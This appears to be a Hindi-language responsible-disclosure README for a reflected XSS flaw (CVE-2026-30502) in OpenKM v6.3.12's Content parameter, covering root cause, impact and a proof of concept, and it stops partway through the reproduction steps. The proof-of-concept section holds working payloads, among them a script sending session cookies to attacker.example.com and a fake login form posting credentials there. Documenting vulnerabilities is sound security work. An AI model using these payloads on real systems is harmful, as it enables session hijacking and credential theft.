
# CVE-2026-30502 के लिए दस्तावेज़ीकरण और प्रूफ-ऑफ-कॉन्सेप्ट OpenKM v6.3.12 में एक रिफ्लेक्टेड XSS भेद्यता। इसमें तकनीकी विश्लेषण, मूल कारण, प्रभाव आकलन, और सुरक्षा शोधकर्ताओं तथा पैठ परीक्षकों के लिए निवारण मार्गदर्शन शामिल है।
खोज एवं रिपोर्ट: Dharmendra Kumar — सुरक्षा शोधकर्ता
साइबर सुरक्षा | पैठ परीक्षण | भेद्यता अनुसंधान | जिम्मेदार प्रकटीकरण
यह रिपॉजिटरी CVE-2026-30502 के जिम्मेदार प्रकटीकरण का दस्तावेजीकरण करती है, जो OpenKM v6.3.12 में पाई गई एक Reflected Cross-Site Scripting (XSS) भेद्यता है — यह एक व्यापक रूप से तैनात ओपन-सोर्स दस्तावेज़ प्रबंधन प्रणाली है, जिसका उपयोग उद्यम और सरकारी वातावरणों में किया जाता है।
यह भेद्यता Content पैरामीटर में मौजूद है, जो उपयोगकर्ता-आपूर्ति इनपुट को उचित सैनिटाइज़ेशन या आउटपुट एन्कोडिंग के बिना सीधे ब्राउज़र में वापस परावर्तित कर देता है। एक हमलावर एम्बेडेड JavaScript युक्त एक दुर्भावनापूर्ण URL तैयार कर सकता है और सामाजिक इंजीनियरिंग के माध्यम से पीड़ित को उस पर क्लिक करने के लिए प्रेरित कर सकता है, जिसके परिणामस्वरूप पीड़ित के ब्राउज़र सत्र में स्क्रिप्ट निष्पादित हो जाती है।
⚠️ गंभीरता: मध्यम–उच्च | हमला वेक्टर: नेटवर्क | आवश्यक विशेषाधिकार: कोई नहीं | उपयोगकर्ता सहभागिता: आवश्यक
| फ़ील्ड | विवरण |
|---|---|
| CVE आईडी | CVE-2026-30502 |
| उत्पाद | OpenKM |
| प्रभावित संस्करण | v6.3.12 |
| भेद्यता श्रेणी | Reflected Cross-Site Scripting (XSS) |
| संवेदनशील पैरामीटर | Content |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| गंभीरता | मध्यम–उच्च |
| प्रकाशक | MITRE CVE Program |
| शोधकर्ता | Dharmendra Kumar |
| प्रकटीकरण प्रकार | जिम्मेदार / समन्वित |
OpenKM एक मुफ्त और ओपन-सोर्स दस्तावेज़ प्रबंधन प्रणाली (DMS) है, जो व्यावसायिक दस्तावेज़ों के प्रबंधन, ऑडिटिंग और वितरण के लिए एक वेब इंटरफ़ेस प्रदान करती है। इसका उपयोग दुनिया भर में उद्यमों, सरकारी निकायों और शैक्षणिक संस्थानों द्वारा किया जाता है।
v6.3.12Reflected Cross-Site Scripting (XSS) भेद्यता OpenKM v6.3.12 में Content पैरामीटर के माध्यम से पाई गई। एप्लिकेशन HTTP प्रतिक्रिया बॉडी में इनपुट को वापस परावर्तित करने से पहले उपयोगकर्ता-आपूर्ति इनपुट को मान्य (validate) या एन्कोड करने में विफल रहता है, जिससे मनमाना JavaScript इंजेक्ट किया जा सकता है और पीड़ित के ब्राउज़र में निष्पादित हो सकता है।
Stored XSS के विपरीत, Reflected XSS पेलोड डेटाबेस में संग्रहीत नहीं होता है — इसके बजाय, यह एक तैयार किए गए URL के भीतर सवार होता है। यह हमला पीड़ित को एक दुर्भावनापूर्ण लिंक पर क्लिक करने के लिए धोखा दिए जाने पर निर्भर करता है (ईमेल, सोशल मीडिया या फ़िशिंग अभियानों के माध्यम से वितरित), जिसके बाद पेलोड पीड़ित के सत्र संदर्भ के साथ उनके ब्राउज़र में चुपचाप निष्पादित हो जाता है।
Attacker crafts malicious URL
│
▼
Victim clicks the link (phishing / social engineering)
│
▼
Browser sends GET/POST request with payload in `Content` parameter
│
▼
OpenKM reflects unsanitized input directly into HTML response
│
▼
Browser parses & executes injected JavaScript
│
▼
Session hijacked / credentials harvested / account compromised
यह भेद्यता Content पैरामीटर पर इनपुट-आउटपुट सुरक्षा नियंत्रण लागू करने में एप्लिकेशन की विफलता का परिणाम है:
| कमजोरी | विवरण |
|---|---|
| ❌ कोई इनपुट सत्यापन नहीं | Content पैरामीटर बिना किसी प्रतिबंध या फ़िल्टरिंग के कच्चे HTML/JavaScript वर्णों को स्वीकार करता है |
| ❌ कोई आउटपुट एन्कोडिंग नहीं | परावर्तित मान बिना HTML-एंटिटी एन्कोडिंग के HTML प्रतिक्रिया में लिखे जाते हैं |
| ❌ CSP हेडर अनुपस्थित | इनलाइन स्क्रिप्ट निष्पादन को अवरुद्ध करने के लिए कोई Content Security Policy लागू नहीं है |
| ❌ कोई HTTPOnly कुकीज़ नहीं | सत्र टोकन JavaScript के माध्यम से सुलभ हैं, जिससे सीधे कुकी चोरी संभव होती है |
User-Crafted URL ──► Content Parameter ──► [NO Validation]
──► Reflected in HTML Response ──► [NO Encoding]
──► Browser Executes Script ──► Account Compromised
इस भेद्यता का सफल शोषण निम्नलिखित परिणाम दे सकता है:
| जोखिम | विवरण |
|---|---|
| 🍪 सत्र अपहरण | document.cookie के माध्यम से सक्रिय सत्र टोकन चुराकर पीड़ित की पहचान में हेरफेर करना |
| 🔑 क्रेडेंशियल चोरी | प्लेनटेक्स्ट उपयोगकर्ता नाम और पासवर्ड कैप्चर करने के लिए नकली लॉगिन ओवरले इंजेक्ट करना |
| 📤 सूचना प्रकटीकरण | संवेदनशील दस्तावेज़ सामग्री, उपयोगकर्ता डेटा या आंतरिक कॉन्फ़िगरेशन को बाहर निकालना (exfiltrate) करना |
| 🎣 फ़िशिंग हमले | विश्वसनीय OpenKM डोमेन के भीतर होस्ट किए गए ठोस नकली पेज प्रस्तुत करना |
| 👤 खाता अधिग्रहण | पीड़ित की ओर से मनमाने प्रमाणित कार्य करना |
| ⚙️ अनधिकृत कार्य | DMS के भीतर दस्तावेज़ों को संशोधित, हटाना या बाहर निकालना |
| 🖥️ मैलवेयर वितरण | पीड़ितों को दुर्भावनापूर्ण डाउनलोड होस्ट करने वाली हमलावर-नियंत्रित साइटों पर पुनर्निर्देशित करना |
⚠️ अस्वीकरण: निम्नलिखित जानकारी केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए जिम्मेदार प्रकटीकरण सिद्धांतों के तहत साझा की गई है। ऐसे सिस्टमों पर इसका परीक्षण या उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके मूल्यांकन के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है।
// Basic execution proof
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Session cookie exfiltration
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Credential phishing overlay
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Username"/>'
+'<input name="p" type="password" placeholder="Password"/>'
+'<button>Sign In</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
Content पैरामीटर को परावर्तित करता हैContent पैरामीटर में XSS पेलोड जोड़कर एक URL तैयार करें